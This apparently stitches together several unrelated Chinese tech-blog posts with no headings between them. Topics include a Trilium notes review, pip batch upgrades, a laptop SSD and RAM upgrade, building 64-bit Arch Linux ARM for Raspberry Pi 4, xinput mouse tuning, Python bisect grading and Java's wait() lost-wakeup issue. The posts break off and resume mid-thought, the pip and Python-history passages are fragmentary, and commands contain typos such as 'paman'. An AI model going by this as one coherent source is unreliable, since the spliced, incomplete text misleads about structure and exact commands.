之前用 TiddlyWiki 虽然也能做到,不过那样得自己新建一个目录列表,且目录列表样式固定,不如 Trilium 来的快。顺带一提,Trilium 是支持随意拖动的,这就方便了我们对每条笔记进行分类整理。
除此之外,Trilium 还支持一个很赞的功能:Cloning notes。简单来讲,就是我可以把同一条笔记链接到不同的目录里面,而不用在一条条去复制了,在编辑这条笔记时,所有的克隆版本都会更新,删除时也能选择是否全部删除。
知识之间是有联系的,作为知识库,免不了知识之间的引用和参考。与其他笔记应用中复杂的引用过程相比,Trilium 引用笔记十分方便——只需简单地输入一个 @
,之后会在 @
后面打字就会搜索并插入通往其他笔记的链接
<noscript><img alt="引用" height="472" src="https://view.spiritx.xyz/images/2020/06/02/985c3263f6b7d93b4018c4fafa619fb9.jpg" width="701" /></a><br /></noscript>
不止如此,在链接了其他笔记之后,Link Map 组件也会实时更新,可以在右侧栏目看到
<noscript><img alt="Link Map" height="346" src="https://view.spiritx.xyz/images/2020/06/02/Link-Map.jpg" width="579" /></a><br /></noscript>
可以随意拖动,直到看起来满意为止。
Relation Map 是 Trilium 的一种笔记形式,有点类似于思维导图
<noscript><img alt="Relation Map" height="537" src="https://view.spiritx.xyz/images/2020/06/02/Relation-Map.jpg" width="1200" /></a><br /></noscript>
每个节点对应一则子笔记,鼠标悬停时可以预览,点击即可编辑。另外,比较有特色的是可以给关系加上标注。
Attributes 是每一个Trilium note的属性,分为4类:
要查看或修改属性,点击笔记右边栏目的show dialog
。
<noscript><img alt="属性" height="529" src="https://view.spiritx.xyz/images/2020/06/02/9afd20b902e4e9b86c630c81ada5e98c.jpg" width="1200" /></a><br /></noscript>
标准的标签用于分类,方便在回顾时更方便地找到。例如,在对书籍进行分类的时候,可以像这样添加标签:@dateOfBirth=1921-06-10
。查找的时候也非常方便,点击左上方的放大镜或者使用快捷键ctrl+s
,直接输入标签名字或者指定标签值,相关的笔记就会出现。当然,在Trilium中,标签也被赋予了其他的意义,比如定时任务可以用run
标签,排序可以使用sortd
标签,自定义外观时可以用cssClass
和 iconClass
标签。顺便一提,icon库是 boxicons。在 Trilium 中,标签是可以继承的,子笔记继承上一级笔记的标签,要如此,只需勾选 inheritable
栏的选框,同时,子笔记也可以拥有其他属性,且继承不影响它的兄弟姐妹笔记。
<noscript><img alt="标签" height="153" src="https://view.spiritx.xyz/images/2020/06/02/6dfb185782dfea04b33b372d092f6462.png" width="1129" /></a><br /></noscript>
关系其实就是一种链接,用于将不同的笔记链接在一起,之前写到的引用也是一种关系,不过 Trilium 中的关系和其他笔记软件不太一样,除了能表示具体的关系,如之前的家庭关系图:笔记 "Prince Phillip" isPartnerOf 笔记 "Queen Elizabeth II.",此外,它经常与模板结合在一起使用。与继承类似,在使用模板(template
)创建子笔记(child:template
)、孙笔记(child:child:template
)时,创建的笔记会继承模板的属性,同时,创建的笔记会复制模板的内容,之后如果模板的属性更改了,更改会自动应用到所有使用该模板的笔记中。
<noscript><img alt="关系" height="208" src="https://view.spiritx.xyz/images/2020/06/02/afc1f523b2ad13a273fc5e03244a1bf5.png" width="1129" /></a><br /></noscript>
提升属性使得标签或者关系更利于管理,它允许直接将相关的属性显示在笔记正文UI上,而不用每次修改或增加属性时都得点击一下show dialog
按钮。要做的这样,只需勾选属性中的 Promoted
项。
<noscript><img alt="提升属性" height="428" src="https://view.spiritx.xyz/images/2020/06/02/d185b44225cc387cbfecce4bb479f874.png" width="1131" /></a><br /></noscript>
前面讲述了最重要的关系管理,已经可以看出 Trilium 的强大了,但我要说的是,它的内容管理做的同样出色。
Trilium 使用的是CKEditor 5 作为主编辑器,这是一款富文本编辑器。经过这段时间的使用,我觉得这是一款不错的编辑器,不过比起它我更喜欢使用 Editor.md。当然了,作为知识管理工具富文本比纯文本编辑器在某些时候更加方便。CKEditor同时也支持Markdown,这也是我觉得它不错的一个原因,对于我这种Markdwon老手来讲,几乎不会感受到转换的痛苦,不过对于md新手就有点不适了,因为它是所见即所得的md模式,这一点对于新手可能有点不友好。另外,编辑器支持导入导出Markdown,方便迁移其他平台的笔记。CKEditor的确不错,但有两点是我觉得不好的:不支持数学公式和代码高亮,这两个功能应该算是常用功能,但CKEditor没有,只能期待后续的更新了。
与常规存储方式不同,Trilium 把媒体和文件存储在数据库中,说实话我对这种做法不是很赞同,不过它也有一个显著的好处,那就是不用考虑引用资源的路径问题,还有因为是 sqlite ,所以在不同平台的同步和迁移时比较方便。图片和其他媒体资源可以在笔记里直接嵌入,作为子笔记来管理,同时,Trilium 还支持保存代码文件,可以选择代码语言并且支持高亮,这个功能很赞!
<noscript><img alt="图片存储" height="461" src="https://view.spiritx.xyz/images/2020/06/02/1cc8821b054cb27843f057332d2980da.jpg" width="1200" /></a><br /></noscript>
<noscript><img alt="代码存储" height="600" src="https://view.spiritx.xyz/images/2020/06/02/bc710f22cb8939f7b3091fe970f828fe.png" width="1189" /></a><br /></noscript>
历史版本是一个我又爱又恨的功能,Trilium 会在设定的时间内自动保存一份当前笔记的快照到数据库,可以在右边栏目中的 Note Revisions 查看,这有效防止了笔记的丢失,不过笔记的历史版本可能会占据较大空间,这也是我恨的地方,关闭又怕丢,不关又一大堆历史版本,所以每次我完成都会删除历史版本。如果要关闭某条笔记的定时快照功能只需在笔记属性里添加 disableVersioning
标签即可。
<noscript><img alt="版本" height="756" src="https://view.spiritx.xyz/images/2020/06/02/454666495b5ba2d27bb72969d4de040a.jpg" width="1126" /></a><br /></noscript>
Trilium支持下面几种备份方案来备份数据库:
各个操作系统上数据目录的路径如下:
~/.local/share
%appdata%
/Users/$(user)/Library/Application Support
恢复备份只需要把当前db文件替换成备份的文件,再重启 Trilium 即可
其实对于一款个人知识库软件来讲,加不加密无所谓,不过老外似乎很在意这方面的问题,所以,加密笔记也下了功夫,主要是以下两点:
需要注意的是:加密的不包括一些元数据比如修改日期、属性等;加密后的笔记其他没有密码的人也可以进行删除操作;搜索结果会自动排除加密的笔记。
这是我选择Trilium的主要原因,之前用WP写了一段时间的日记,也想过写一套WP主题来作为日记本,不过后来发现wordpress不太适合这项工作。在 Trilium 中,设置 Day Notes 只用将父笔记加上 calendarRoot
标签,需要注意的是,在整个文档树(即整个root目录)中此标签只能出现一次。点击右上方的Today 按钮即可自动新建一则今天的日记,同时,右边的侧栏也会显示一个日历表,点击表中日期即可快速跳到那一天的日记,标有下划线的日期即为今天。
<noscript><img alt="日记本" height="564" src="https://view.spiritx.xyz/images/2020/06/02/073fb5c164c39a988fd2c0fa41e25846.jpg" width="1200" /></a><br /></noscript>
在 Trilium中,日记类型的笔记与文字笔记没什么不同,所以像引用,标签,属性这些东西都完美支持。那么有意思的来了:我可以在日记中记下某个知识,再在其它笔记中直接引用它,或者直接创建一条克隆笔记,效率极其高!如此我便再也不用费心管理日记和笔记之间的关系了。
写读书笔记这件事我从没做过,不过 Trilium 提供了一个很好的思路,写完某一个章节的笔记后可以在父笔记中直接查看(支持折叠),能比较系统的回顾书中内容。另外,我发现在阅读人物关系比较复杂的小说中,结合前文所提到的关系图能比较清晰地梳理人物关系。
<noscript><img alt="书单" height="541" src="https://view.spiritx.xyz/images/2020/06/02/e3923042d307397090aaedd87c0ded4f.jpg" width="1200" /></a><br /></noscript>
前文所提到的关系图也属于模板之一。另外,Trilium 还有两个完善度较高的模板:Task manager和Weight Tracker,不过这两个我偶尔使用,所以不做过多说明,相比之下,这两个功能手机端使用的多些,而且更方便。
Trilium 中的插件使用js编写,并且原生提供接口供用户使用。接口分为
前面说的日记本的 Today
按钮本质也是一个插件,调用的 Frontend API ,同时结合了日记本模板的特性,所以做出了一个新建名字为日期的子笔记,在 Trilium Demo 中有插件的源代码,比较容易理解:
api.addButtonToToolbar({
title: 'Today',
icon: 'calendar',
shortcut: 'alt+t',
action: async function() {
const todayNote = await api.getTodayNote();
await api.waitUntilSynced();
api.activateNote(todayNote.noteId);
}
});
官方API文档十分简洁明了,可以直接上手操作,如果要自己编写插件,推荐直接对照着文档开发。
网页剪藏基本是优秀笔记软件的标配,可以这么说,在信息时代,如果一款笔记软件没有这个,那体验肯定是差其他软件一大截的。Trilium 原生支持API,所以有一个配套的 网页剪藏插件 :
插件可以连接本地的软件或者远程的同步服务器,具有有以下功能:
插件保存整个页面时,是直接发送当前网页的内容,同时会将图片也一并保存到新的笔记,与 Wallabag 发送链接后台抓取的保存方法有所不同。对于这个功能,我也不太好评价Wallabag与Trilium的好坏,毕竟两个程序的定位不同。另外提一句,新创建的笔记默认放在当日的日记下面,可以将要保存的位置的父笔记加上 clipperInbox
标签,该笔记就会变成剪藏笔记的根目录。同一天在同一个网址剪藏的文字都会放在同一个笔记下。
pip install --upgrade xxx
命令,或者简写成pip install -U xxx
。pip list
命令可以查询已安装的库,结合 Linux 的一些命令(cut、sed、awk、grep……),可以直接在命令行中实现批量升级。awk
命令:python3 -m pip list | awk 'NR>=3{print}' | awk '{print $1}' | xargs python3 -m pip install -U
pip list --outdated
命令。默认情况下,查询出的格式跟pip list
相似,有效内容从第三行开始,大家可以试试。--format=freeze
格式,效果是这样的:cut
命令切割“=”号,然后取第一列:pip list --outdated --format=freeze | cut -d = -f 1 | xargs pip install -U
pip freeze
命令生成依赖文件,获取到已安装的库及其当前版本号:pip freeze > requirements.txt
pip install -r requirements.txt --upgrade
# 只在早期 pip 版本中用
import pip
from subprocess import call
packages = [dist.project_name for dist in pip.get_installed_distributions()]
call("pip install --upgrade " + ' '.join(packages), shell=True)
# 较新的 pip 版本。但不建议使用
from subprocess import call
from pip._internal.utils.misc import get_installed_distributions
for dist in get_installed_distributions():
call("pip install --upgrade " + dist.project_name, shell=True)
pkg_resources
是 setuptools
库的一部分,用于查找和管理 Python 库、版本依赖关系、相关联的资源文件等。可以这样写:# 需要安装 setuptools
import pkg_resources
from subprocess import call
packages = [dist.project_name for dist in pkg_resources.working_set]
call("pip install --upgrade " + ' '.join(packages), shell=True)
pip-review
库是一个专门用来方便升级 Python 库的工具,可以查看已过期的库、自动升级或者交互式选择性地升级:pip-upgrader
库,也是为了解决批量升级的问题,感兴趣的同学请自行搜索。年前给生产部经理的电脑升级以后,分公司总经理觉得挺快,也拿来一台电脑问我可否升级,我答应先拆了看一下。周日把电脑拿到手,一个华硕的W419L的本子,成色还不错,保养的挺好的。开机看了一下,I5的CPU,4G内存,1T硬盘,没有光驱,但是光驱位置却留着的,后盖有个内存仓,不错,起码升级应该是没什么阻碍,果断拆机看了一下,确认没问题后,就跟分公司老总说了一下可以升级。问他是否确定要升,得到明确答复后,就开始动手了。
1、固态用老方案东芝的TR200,毕竟也不是玩游戏的人,240G做两个盘,一个系统一个软件足够了。这个固态前前后后我差不多应该买了十几个了吧。稳定可靠,如有需要的点击这里购买,某东链接、某宝链接。
2、内存看了下原机器上的是板载内存,这个坑爹的话说,不过好歹还给留了个内存扩展仓,板载内存一般都是低电压版,这个年龄的电脑DDR3没跑,确认了一下参数,选三星的吧,上次给生产部经理买的也是三星的,还不错吧。有同样需求的可以点击这里购买,某东地址,某宝地址。
3、原光驱位装了一个空支架,拆下来一看,不太好,里面做塑料格片。如果是我自己的话,我就动手在这个基础上划了,再买个转接头,用热熔胶点上就完事。这个还是买个现成的支架吧,万能淘宝一搜一大把,我买的这个,链接地址。当然如果你在原支架上挖孔装转接器也可以的,转接器链接。
等快递到货,这就是全家福了。
底板螺丝都是裸露的,不像我那个N53S还藏在脚垫底下。拆的时候留意一下,这螺丝又长又短,而且还没标型号,自己记得对位置,其实没记也没关系,估的出来。内存仓的螺丝上面有个小装饰片,先扣下来,螺丝就出来了。如图。
底板螺丝拆完,随便找个角落用撬棒直接撬吧,这比那联想的好撬多了,很容易撬开,撬开以后不要拆D盖,主板都固定在D盖上,而是翻上来拆C盖,然后掀起一部分就能看到两根排线了。这两个排线很简单,把黑色的向上扣起就行了,排线就去了下来。
取光驱支架很简单,一个固定螺丝拧掉一个,横向一抽就出来了。然后把固态硬盘装到买的专用支架上,固态和支架的插口地方记得插牢固。然后在支架背面把四颗螺丝拧上。然后把支架横向插入原光驱位。拧好螺丝,留意下支架位置两侧的塑料卡扣,让支架很好的固定。看图中部分。
内存只要斜着插入内存插槽,然后往下按固定到位即可。一步到位。装完就手装上内存仓的盖子,并拧好螺丝,贴上那个小装饰片。当然那小玩意要不要无所谓。
最后还原C盖,卡好卡扣,四周都按一下,全部卡到位,拧上D盖上所有螺丝就大功告成了。
问:为什么你在设计 Python 语言的时候采用了强制缩进的方式来划分程序域?
答:这种强制缩进,并不是什么新概念。当年我在 CWI 使用 ABC 语言编程的时候,人家就这么干的。我从 ABC 语言中继承了这个概念。不过 occam 这种很古老的语言也是用了这种方式,我不知道他们是谁先采用的,也许都是独创。这种思想也可能出自 Don Knuth(高德纳,著名计算机科学家,经典巨著《计算机程序设计艺术》的作者),他早在 1974 年就提出过这种做法。
最大的缺陷就是这个缩进机制
去掉花括号是最愚蠢的设计
绝对是过度设计了,缺陷很大
最大的缺点就是缩进,太反人类了
……
代码多了,自己看着累,别人更难懂
眼花了,还是括号好些
还是{}或end更清晰
没有花括号老觉得没有安全感
缩进层次看不清楚
没有大括号不便于阅读
层次一多看起来很乱,不知哪层是哪层,要缩多少。到底退出循环没有。
看着明明缩进是对的,但运行时总是报错
用python写上十万行试试,到时候你就知道,什么叫混乱看不下去
……
树莓派4代的更换了包装,大小和33代一样,不过外观改变了,讲道理,我觉得3代的盒子更好看一些
<noscript><img alt="P00508 112607" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00508-112607.jpg" width="4000" /></a><br /></noscript>
树莓派4B主板目前有两个版本 Rev 1.1 和改进版 Rev 1.2 ,新版改进了电源部分电路,对pd2.0充电头兼容性更佳。但价格是一样的。幸运的是,我买到的是 Rev 1.2 版本的,如下图我画出的红色框所示,多了个电源管理模块。
<noscript><img alt="1588865438551" height="2256" src="https://view.spiritx.xyz/images/2020/05/08/1588865438551.jpg" width="4000" /></a><br /></noscript>
来几张3B+和4B的外观主要区别对比图,上为3B+,下为4B
<noscript><img alt="P00505 154326" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00505-154326.jpg" width="4000" /></a><br /></noscript>
3B+和4B主要是HDMI接口换为了2个micro HDMI,网口和USB接口位置对调了
<noscript><img alt="P00505 153834" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00505-153834.jpg" width="4000" /></a><br /></noscript>
<noscript><img alt="P00505 155516" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00505-155516.jpg" width="4000" /></a><br /></noscript>
<noscript><img alt="P00505 153841" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00505-153841.jpg" width="4000" /></a><br /></noscript>我的3B+亚克力板子那一面翻过来刚好可以用 ,3B+的两个 USB 2.0 接口换为了 USB 3.0
<noscript><img alt="P00505 155525" height="2256" src="https://view.spiritx.xyz/images/2020/05/09/P00505-155525.jpg" width="4000" /></a><br /></noscript>
性能方面,我使用了archlinuxarm的32位和64位系统,当然我没安装图形界面,体验下来感觉就是一个词:流畅,值得一提的是树莓派4B支持4K 60HZ/4K 30HZ×2 输出,用作流媒体挺好,性能方面我是十分满意的,就是这功耗不敢恭维,低负载加上风扇的情况下,CPU 的温度一直保持在 50+ ℃ ,后面我会加几个散热片,顺便换个外壳。对了,还有一件事就是电源问题,必须保证在 5V 2.5A 以上(官方推荐是5V 3A),不然系统会运行不正常。
之前用3B+的时候就用的archlinuxarm的aarch64版本,所以直接下载安装了,等我插上卡通电后才发现不对劲,原来archarm目前的包也是32位的......浪费了我好多时间。
PS:如果选择自编译64位系统需要主机环境为Arch Linux
参照 https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-4 ,安装的过程和 3B+的安装 一样。
raspberrypi官方的64位os还处于beta阶段,所以安装32位比较方便,但我3B+都用了aarch64了,4B再不上64位就说不过去了。
64位的系统就需要自己动手啦,不过我也找到了有人 打包好的 ,可以直接刷入,步骤和 之前 一样。需要注意的有:
/etc/resolv.conf
,加一行 nameserver 8.8.8.8
pacman -S dhcp
)或者自定义IP以正常使用网络timedatectl set-ntp true
,不然每次重启时间会归位如果对安全性有要求的话还是建议按照如下步骤自己打包:
在 ArchLinuxARM 官网 上下载 多平台镜像 http://os.archlinuxarm.org/os/ArchLinuxARM-aarch64-latest.tar.gz ,注意下载后校验文件。
进入到工作文件夹,新建 root
和 boot
文件夹
解压备用:bsdtar -xpf ArchLinuxARM-aarch64-latest.tar.gz -C root
## 先安装静态库
~/w/r/pi yay -S qemu-arm-static
## 进入容器
~/w/r/pi systemd-nspawn -D root
## 显示进入容器了
[root@root ~]#
不知道为什么,DNS一直不能用,于是我直接修改的hosts
## 根据自己的需要换源
[root@root ~]# vi /etc/pacman.d/mirrorlist
Server = http://mirrors.tuna.tsinghua.edu.cn/archlinuxarm/$arch/$repo
[root@root ~]# vi /etc/hosts
101.6.8.193 mirrors.tuna.tsinghua.edu.cn
先安装依赖
[root@root ~]# pacman-key --init
[root@root ~]# pacman-key --populate archlinuxarm
[root@root ~]# pacman -Syy
[root@root ~]# pacman -S base-devel fakeroot libffi xmlto docbook-xsl inetutils bc
## 下载 PKGBUILD
~/w/r/pi git clone https://github.com/esotericnonsense/linux-raspberrypi4-aarch64.git boot/home/alarm/
## 进入容器
~/w/r/linux-raspberrypi4-aarch64 master ± systemd-nspawn -D root
## 修改编译的cpu核心数,我改成8核了,根据自己的电脑配置修改
[root@root ~]# vi /etc/makepkg.conf
MAKEFLAGS="-j8"
## 切换为普通用户
[root@root ~]# su alarm
[alarm@root root]$ cd ~/linux-raspberrypi4-aarch64/
## 编译
[alarm@root linux-raspberrypi4-aarch64]$ makepkg -si
需要注意的是,这里编译的是 https://github.com/raspberrypi/linux 4.19 分支提交的内核,PKGBUILD 的版本是 commit edc6ef437bd690772d7a562adeea6c85daf11440 ,版本是4.19.89。
当然也可以选择其他版本,我选择的是 5.2分支 的版本。 只需要修改 PKGBUILD 中的 _commit
为最新commit-id,pkgver
为5.2就行了。考虑到网络环境的问题,我选择提前下载内核文件:https://github.com/raspberrypi/linux/archive/commitid.tar.gz ,下载后修改文件名为 commit-id.tar.gz
,之后编译时跳过检验就好了:makepkg --skipinteg
,编译时间很长,在我的低压U本子8核全满上跑了近4小时,感觉这个改不改核心影响不大,因为我之后在树莓派上常规编译跑了5个小时。
## 切换回普通用户
[alarm@root linux-raspberrypi4-aarch64]$ exit
[root@root ~]# cd /home/alarm/linux-raspberrypi4-aarch64/
## 安装编译好的内核文件
[root@root linux-raspberrypi4-aarch64]# pacman -U linux-raspberrypi4-aarch64-headers-5.2-1-aarch64.pkg.tar.xz linux-raspberrypi4-aarch64-5.2-1-aarch64.pkg.tar.xz
[root@root ~]# pacman -S pacman-contrib # for pactree
[root@root ~]# pacman -Sw $(pacman -Qqn)
[root@root ~]# pactree -l pacman | pacman -S -
[root@root ~]# pacman -Qqn | pacman -S -
先按照 步骤 进行分区,然后就可以把配置好的系统打包到 SD 卡了,我使用的是rasyc,当然也可以使用dd。
~/w/r/pi sudo mount /dev/sdd2 boot
~/w/r/pi sudo mkdir -p boot/boot
~/w/r/pi sudo mount /dev/sdd1 boot/boot
~/w/r/pi sudo rsync --archive --numeric-ids --acls --xattrs --human-readable --verbose --progress --stats --itemize-changes --exclude='/home/alarm/*' root/ boot
~/w/r/pi umount -R boot
之后插卡通电就能使用
之后的操作与一般linux无异,如果要升级内核的话,还需自己编译,不过建议树莓派上makepkg,配合 Distcc 使用,晚上挂上,早上起床估计就能安装了 。
今天逛论坛发现aarch64的镜像发布了 (http://os.archlinuxarm.org/os/ArchLinuxARM-rpi-aarch64-latest.tar.gz) ,但重新安装系统未免太费时间,而且树莓派上的数据迁移比较麻烦,所以我直接更换了内核。
要切换Linux为主线内核其实非常简单,只需要以下几句:
paman -S linux-aarch64
pacman -S linux-api-headers
但会发现启动不了,所以还需要修改引导
pacman -S raspberrypi-bootloader
pacman -S uboot-raspberrypi
由于分区改变了,需要更新 fstab
sed -i 's/mmcblk0/mmcblk1/g' /etc/fstab
之后便可以重启使用了
需要注意的是如果更改了/boot/config.txt
需要运行 /boot/mkscr
来应用更改,为此需要安装 uboot-tools
软件包
参考:
- esotericnonsense:linux-raspberrypi4-aarch64
DeprecationWarning: Using or importing the ABCs from ‘collections’ instead of from ‘collections.abc’ is deprecated since Python 3.3, and in 3.9 it will stop working
from collections.abc import Iterable
,直到 3.9 版本时,会取消过期提示,出现报错。thread
模块,后来到 1.5.1 版本,以 thread 为基础又推出一个更方便好用的threading
模块,也就是我们熟知的实现多线程的模块。_thread
,约定为私有的,这种方式很灵活,普通程序员不会感知它的存在,骨灰级程序员却可以用它实现更加低层的开发。yield from
生成器实现的协程,需要显式地写成“asyc def”这种定义方式。concurrent.futures
标准库(依据 PEP-3148)。concurrent
库下面。concurrent.futures
就是一种实验性的设计,它是为将来更好的concurrent
库而作的准备。虽然说将来的最终实现,可能跟 PEP 中设想的不同,但是,这种面向将来的长远考虑的设计思路,会给整个社区带来某种预期和共同的信念。在 debian 上被我的有线 USB 鼠标的移动速度困扰很久了,比正常的鼠标移动得快, 所以非常难操控,特别是在画图的时候。
可以使用下面 xinput 来修改鼠标的移动速度,关键是找到对应的鼠标以及对应的属性就行了。
下面是我电脑上的连接的输入设备,用 xinput 命令查看:
$ xinput list
⎡ Virtual core pointer id=2 [master pointer (3)]
⎜ ↳ Virtual core XTEST pointer id=4 [slave pointer (2)]
⎜ ↳ PS/2 Generic Mouse id=16 [slave pointer (2)]
⎜ ↳ SynPS/2 Synaptics TouchPad id=17 [slave pointer (2)]
⎜ ↳ Logitech USB Receiver Consumer Control id=9 [slave pointer (2)]
⎜ ↳ Logitech USB Receiver id=11 [slave pointer (2)]
⎜ ↳ USB Optical Mouse Mouse id=13 [slave pointer (2)]
⎜ ↳ USB Optical Mouse Consumer Control id=20 [slave pointer (2)]
⎣ Virtual core keyboard id=3 [master keyboard (2)]
↳ Virtual core XTEST keyboard id=5 [slave keyboard (3)]
↳ Power Button id=6 [slave keyboard (3)]
↳ Video Bus id=7 [slave keyboard (3)]
↳ Sleep Button id=8 [slave keyboard (3)]
↳ HP HD Camera: HP HD Camera id=14 [slave keyboard (3)]
↳ AT Translated Set 2 keyboard id=15 [slave keyboard (3)]
↳ HP Wireless hotkeys id=18 [slave keyboard (3)]
↳ HP WMI hotkeys id=19 [slave keyboard (3)]
↳ Logitech USB Receiver Consumer Control id=10 [slave keyboard (3)]
↳ USB Optical Mouse Keyboard id=12 [slave keyboard (3)]
↳ USB Optical Mouse Consumer Control id=21 [slave keyboard (3)]
通过名字可以看到速度太快的鼠标是 id=13
, id=20
那一对;但是要修改的是 id=13
那个,
查看它的属性,如下:
$ xinput --list-props 13
Device 'USB Optical Mouse Mouse':
Device Enabled (153): 1
Coordinate Transformation Matrix (155): 1.000000, 0.000000, 0.000000, 0.000000, 1.000000, 0.000000, 0.000000, 0.000000, 1.000000
libinput Natural Scrolling Enabled (288): 0
libinput Natural Scrolling Enabled Default (289): 0
libinput Scroll Methods Available (290): 0, 0, 1
libinput Scroll Method Enabled (291): 0, 0, 0
libinput Scroll Method Enabled Default (292): 0, 0, 0
libinput Button Scrolling Button (293): 2
libinput Button Scrolling Button Default (294): 2
libinput Middle Emulation Enabled (295): 0
libinput Middle Emulation Enabled Default (296): 0
libinput Accel Speed (297): 0.000000
libinput Accel Speed Default (298): 0.000000
libinput Accel Profiles Available (299): 1, 1
libinput Accel Profile Enabled (300): 1, 0
libinput Accel Profile Enabled Default (301): 1, 0
libinput Left Handed Enabled (302): 0
libinput Left Handed Enabled Default (303): 0
libinput Send Events Modes Available (273): 1, 0
libinput Send Events Mode Enabled (274): 0, 0
libinput Send Events Mode Enabled Default (275): 0, 0
Device Node (276): "/dev/input/event9"
Device Product ID (277): 7119, 83
libinput Drag Lock Buttons (304): <no items>
libinput Horizontal Scroll Enabled (305): 1
可以看到两个属性:
普通用户没有权限修改 Default
属性的值,只需要修改 297
这个属性的值即可,修改为负数表示减慢速度,
负数越大越慢,所以调整到一个合适的负数就行。
例如:
$ xinput --set-prop 13 297 -0.75
修改会立即生效,也可以通过名字来修改,并没有任何区别,如下:
$ xinput --set-prop "USB Optical Mouse Mouse" "libinput Accel Speed" -0.75
但是这样修改后,鼠标插拔后会失效,系统重启后也会失效,xinput 并没有提供配置文件来持久化配置,
但是可以在 X 启动的时候执行,例如:把上面的命令写入 ~/.xinitrc
中,注意:使用名字配置的那个版本,
因为 ID 会变。
这样就解决了重启失效的问题,但是鼠标插拔失效还是没有解决,可以借助 udev 规则来自动设置,在 /etc/udev/rules.d
目录下新建一个文件如下:
# cat 50-slow-usb-mouse-speed.rules
ACTION=="add", KERNEL=="event9", SUBSYSTEM=="input", ATTRS{name}=="USB Optical Mouse Mouse", RUN+="/home/chengwei/.xinput-slow-mouse.sh"
上面的过滤条件根据情况调整,可以用 udevadm 命令来查看鼠标设备的这些属性,这里不再介绍。
然后 .xinput-slow-mouse.sh
脚本内容如下:
$ cat .xinput-slow-mouse.sh
#!/bin/bash
# at doesn't support now + seconds, use sleep
echo "DISPLAY=:0 su chengwei -c 'sleep 3 && xinput --set-prop \"USB Optical Mouse Mouse\" \"libinput Accel Speed\" -0.75'" | at now
这里之所以要写这么麻烦,是因为 udev RUN 是一个阻塞的运行,它执行完之后,xinput 才能找到设备,
所以在泽哥脚本里要想用 xinput 设置属性是不可能的,所以引入了 at
命令;它会在指定的时间在后台运行命令。
但是,at
命令不支持几秒后执行,最小的粒度是分钟后,或者指定绝对时间,所以,这里使用了 sleep
命令。
之前有遇到过 ibus-pinyin 输入法会导致隐藏光标的问题,然后就切换到了 ibus-sunpinyin 输入法,后来又遇到 sunpinyin 输入法在 google chrome 浏览器中无法使用 shift 键切换中英文输入的问题。
在解决了 ibus-pinyin 隐藏光标的问题之后,果断切回 ibus-pinyin,因为 ibus-pinyin 在 google chrome 中是可以用 shift 切换中英文输入的,所以看起来是 google chrome 和 ibus-sunpinyin 之间有冲突,并且在 google chrome 的帮助网站里,也有不少人反馈这个问题, 但是无奈被关闭了,并没有解决。
后续应该可以看下 ibus-pinyin 和 ibus-sunpinyin 的代码,应该可以解决。
if scr >= 0.9:
print('A')
elif scr >= 0.8:
print('B')
elif scr >= 0.7:
print('C')
elif scr >= 0.6:
print('D')
else:
print('F')
bisect
模块(数字可调)bisect
的方法最高效优雅,不愧是它获得了最高的赞同票。bisect
是 Python 内置的标准库,实现了二分查找算法。所谓二分查找,也被称为“折半查找”(Binary Search),其基本思想是把有序排列的 n 个元素平均分成两半,然后将待查找的 x 与中间元素比较,若 x 小于中间元素,则将左半段二分,再将 x 与其中间元素比对,以此类推。bisect
库中的 bisect() 方法,查找元素 x 在一个升序序列中的插入点 i,使得插入点左侧的元素都小于等于 x,插入点右侧的元素都大于 x。from bisect import bisect
def grade(score, breakpoints=[60, 70, 80, 90], grades='FDCBA'):
i = bisect(breakpoints, score)
return grades[i]
inspect
中,它提供了两个自省的函数,即 ismethod() 和 isfunction(),可以用来判断什么是方法,什么是函数。types.FunctionType
及types.MethodType
,它们指的就是目标类。继续点进去看源码:# 摘自 types.py
def _f(): pass
FunctionType = type(_f)
class _C:
def _m(self): pass
MethodType = type(_C()._m)
builtin_function_or_method
类型,但是 range()、type()、list() 等看起来像是函数的,其实不然:问:Java 多线程中 wait() 方法为什么要放在同步块中?
答:为了避免「lost wake up 问题」,即「无法唤醒问题」。
我对「lost wake up 问题」的通俗理解:线程 A 调用 wait()
方法进入阻塞状态,接下来没有其他线程去唤醒线程 A,或者其他线程唤醒时机不对(早于线程 A 的 wait()
),导致线程 A 永远阻塞下去。
有中文资料对这个问题作出过解释:Java中wait()方法为什么要放在同步块中?(lost wake-up 问题),文中举了生产者和消费者的例子,但我觉得此文的结论并未触达核心,需要对文中的例子和结论多做一下补充,理解起来会方便一点。
现在有一个生产者线程和消费者线程:
先定义一个 obj 对象,并将其 count 属性的初始值设置为 0:
Object obj = new Object();
obj.count = 0;
生产者伪代码:
obj.count++;
obj.notify();
消费者伪代码:
while(obj.count<=0)
obj.wait();
obj.count--;
两个线程启动,消费者检查 obj.count
的值,发现 obj.count <= 0
条件成立,但这时由于 CPU 的调度,发生上下文切换,生产者开始工作,执行了 count+1
和 obj.notify()
,也就是发出通知,准备唤醒一个阻塞的线程。然后 CPU 调度到消费者,此时消费者开始执行 obj.wait()
,线程进入阻塞。但生产者已经早在消费者阻塞前执行了唤醒动作,也就导致消费者永远无法醒来了。
不能,举个例子。
定义一把锁:
Lock lock1 = new Lock();
生产者伪代码:
lock1.lock();
obj.count++;
obj.notify();
lock1.unlock();
消费者伪代码:
lock1.lock();
while(count<=0)
obj.wait();
obj.count--;
lock1.unlock();
两个线程启动,obj.count
初始值为 0。假设消费者先竞争到锁,while 中的 obj.count<=0
条件满足,执行 obj.wait()
使线程进入阻塞状态,lock1 锁没有被释放,所以生产者拿不到锁,也就无法 obj.notify()
通知消费者醒来,消费者将永远阻塞下去。
只有上述例子中的 obj 对象锁才能避免这个问题,也就是将 obj.wait()
和 obj.notify()
放进 obj 对象锁的同步块中。如果锁的不是例子中的 obj 对象,Java 就会抛出 IllegalMonitorStateException
异常。
生产者伪代码:
synchronized (obj) {
obj.count++;
obj.notify();
}
消费者伪代码:
synchronized (obj) {
while(count<=0)
obj.wait();
obj.count--;
}
Java 中对 wait() 方法的注释中提到:线程在调用 obj.wait()
前必须要拿到当前 obj 对象的监视器 monitor 对象,即 obj 的锁。只有这样,当执行到 obj.wait()
时,该线程才可以暂时让出 obj 的同步锁并停止对锁的竞争,让其他正在等待此锁的线程可以得到同步锁并运行。
在上述例子中,消费者执行到 obj.wait()
时,让出了 obj 锁,停止了对锁的竞争,进入阻塞状态,紧接着生产者竞争到 obj 锁,执行了 obj.notify()
